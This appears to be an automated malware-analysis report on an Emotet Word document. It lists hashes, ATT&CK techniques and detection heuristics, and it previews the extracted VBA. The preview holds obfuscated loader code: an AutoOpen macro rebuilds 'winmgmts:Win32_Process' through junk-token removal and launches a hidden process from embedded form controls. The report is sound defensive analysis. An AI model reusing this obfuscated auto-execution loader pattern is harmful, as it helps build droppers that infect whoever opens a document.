Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 d126db92073d3bde…

MALICIOUS

Office (OLE)

248.0 KB Created: 2019-11-06 06:22:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: b952ef5aac2db1c417466882421ab297 SHA-1: 3261deea79a3005613fe77d4672888e97602be7a SHA-256: d126db92073d3bde356771e3337bd571459e319d99ee1e0b712e903d308cc1e8
282 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate/Decode Files or Information

The sample is a malicious Office document containing obfuscated VBA macros, specifically an auto-executing loader. Heuristics indicate the use of CreateObject and execution sinks, typical of Emotet downloaders. The ClamAV signature 'Doc.Downloader.Emotet-7376459-0' further supports this family attribution. The VBA script attempts to download and execute a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7376459-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7376459-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14106 bytes
SHA-256: 65e1e9a4ae3e84cd67785baf243470981b9f0349e699143267417a984f2cccdb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Uanfbjorxb"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Byzxvfsydre, 4, 3, INKEDLib, InkEdit"
Attribute VB_Control = "Cnvyzypcfrhdp, 3, 4, INKEDLib, InkEdit"
Attribute VB_Control = "Knjtamoxeqdsm, 2, 5, INKEDLib, InkEdit"
Attribute VB_Control = "Tntadlastgo, 1, 6, INKEDLib, InkEdit"
Attribute VB_Control = "Teszoifd, 0, 7, INKEDLib, InkEdit"

Attribute VB_Name = "Ucudtdkc"
Function Ozbtzxbnhvokq()
On Error Resume Next
   Dim IHdFFBIK()
ReDim IHdFFBIK(2)
IHdFFBIK(0) = 91
IHdFFBIK(1) = 4
Dim WaSTF, kIrkFR, IJuDEAZHD
   Dim UBImlC
Dim AaJVjX
Dim Hpkqqkpcdu()
   Dim ERMflJ()
ReDim ERMflJ(2)
ERMflJ(0) = 45071
ERMflJ(1) = 8371
Dim CuWnIHjHA()
ReDim CuWnIHjHA(3)
CuWnIHjHA(0) = 56031
CuWnIHjHA(1) = 2891
CuWnIHjHA(2) = 352
ReDim Hpkqqkpcdu(123)
   Dim aLhMqGLJ
Dim lfQqJEBC()
ReDim lfQqJEBC(1)
lfQqJEBC(0) = 7
   Dim cGcZGF
Dim HhcVHEMX, zYOmnDHJI, NidHVvJC
Hpkqqkpcdu(1) = Uanfbjorxb.Tntadlastgo
   Dim PqzpIBGE, AgwdaB, dZLoFrJB
Dim EjcvPGEZY()
ReDim EjcvPGEZY(3)
EjcvPGEZY(0) = 61
EjcvPGEZY(1) = 21
EjcvPGEZY(2) = 13
   Dim zgtbfA()
ReDim zgtbfA(2)
zgtbfA(0) = 11
zgtbfA(1) = 254
Dim OGNkGe, iYetcs
Set Fmyqsaus = CreateObject(Ivvelxjqnfkkj(Bzmowxkrik + Hpkqqkpcdu(1)))
Fmyqsaus.ShowWindow = 6 < 3
   Dim looEAVF, ioZQHCBCE, FQbuHdAY
Dim dCSjAJ()
ReDim dCSjAJ(1)
dCSjAJ(0) = 8
   Dim UUUKCEISA, kpPqs, lSMLxBC
Dim LpBLAbvEI, PjsjBAHAf, yTiRIUDBI
Hpkqqkpcdu(0) = Ivvelxjqnfkkj(Uanfbjorxb.Cnvyzypcfrhdp + Uanfbjorxb.Byzxvfsydre)
   Dim pzXvb, SQJDdG
Dim FnQoDI()
ReDim FnQoDI(3)
FnQoDI(0) = 89371
FnQoDI(1) = 41
FnQoDI(2) = 9826
Enwppvvrkk = Ivvelxjqnfkkj("usadwusadinusadmgmts:Wusadinusad32_Pusadroceusadssusad")
   Dim OtFGG, WzPSJEGg
Dim lVPdICWl()
ReDim lVPdICWl(3)
lVPdICWl(0) = 31
lVPdICWl(1) = 11
lVPdICWl(2) = 6842
Set Fudezpjvgxjhu = CreateObject(Enwppvvrkk)
   Dim DaJRAQ()
ReDim DaJRAQ(1)
DaJRAQ(0) = 5
Dim yKsLbS, NputA
   Dim nHIMCW()
ReDim nHIMCW(1)
nHIMCW(0) = 8872
Dim TDlbE
Umwlagywsjjtu = Fudezpjvgxjhu.Create(Oamjhenzb + Hpkqqkpcdu(0), Fsjjzccboops, Fmyqsaus, Smefqzmplegqt)
   Dim dPojQ
Dim EPbMBLC, QckkJA
   Dim yNTOi()
ReDim yNTOi(2)
yNTOi(0) = 801
yNTOi(1) = 7
Dim OTxZD, vASRD
End Function



Attribute VB_Name = "Clquncjp"
Sub autoopen()
On Error Resume Next
   Dim cSMODH
Dim wcBTCIAwz()
ReDim wcBTCIAwz(3)
wcBTCIAwz(0) = 8121
wcBTCIAwz(1) = 46701
wcBTCIAwz(2) = 656
   Dim tcEPbHF()
ReDim tcEPbHF(1)
tcEPbHF(0) = 9
Dim YsgxGDBHF
Ozbtzxbnhvokq
   Dim vEvjBHG()
ReDim vEvjBHG(2)
vEvjBHG(0) = 5211
vEvjBHG(1) = 7179
Dim PrtKtCF
   Dim bxfHqG, ZcHgAEqGz, MmzNCH
Dim ajjjrGJ, wFHjGAEG, TLlDG
End Sub
Function Dasiihuf(Lsqelamybpdvw)
On Error Resume Next
   Dim ttVXxIJ()
ReDim ttVXxIJ(3)
ttVXxIJ(0) = 31
ttVXxIJ(1) = 5831
ttVXxIJ(2) = 7
Dim PSuDBL, tZGVD
   Dim enZFu, BmDeNYo
Dim QbyFxtAG()
ReDim QbyFxtAG(3)
QbyFxtAG(0) = 41481
QbyFxtAG(1) = 18341
QbyFxtAG(2) = 536
Wuhtneydwws = "usad"
   Dim FQhNY, urcPpTL, sHaXYULA
Dim eybGDt, VipQA
Vnhdmzkm = Lsqelamybpdvw
   Dim vlOJFFFlV
Dim yTXqEDHSE, FQzhBB
Dasiihuf = Replace(Vnhdmzkm, Wuhtneydwws, "")
   Dim MUWTAAfVA
Dim hjJbHvAnZ()
ReDim hjJbHvAnZ(3)
hjJbHvAnZ(0) = 81
hjJbHvAnZ(1) = 721
hjJbHvAnZ(2) = 35
   Dim AAsXEHul()
ReDim AAsXEHul(3)
AAsXEHul(0) = 91
AAsXEHul(1) = 361
AAsXEHul(2) = 2846
Dim iwnWHJkU()
ReDim iwnWHJkU(2)
iwnWHJkU(0) = 71
iwnWHJkU(1) = 6437
End Function
Function Ivvelxjqnfkkj(Lwqmjipil)
   Dim ptauqI, tReZN
Dim uWWSgEQgC()
ReDim uWWSgEQgC(1)
uWWSgEQgC(0) = 21
Ivvelxjqnfkkj = Dasiihuf(Dasiihuf(Dasiihuf(Dasiihuf(Lwqmjipil))))
   Dim KsodBM, qgHLAXcC
Dim tIWDCYbI, UnehGSID, QHBOqJAP
End Function

Attribute VB_Name = "Pkvrpvsaimzv"

' Processing file: /opt/analyzer/scan_staging/862dc2d39ac2491da752608dd4af1c8e.bin
' ========================================================================
... (truncated)

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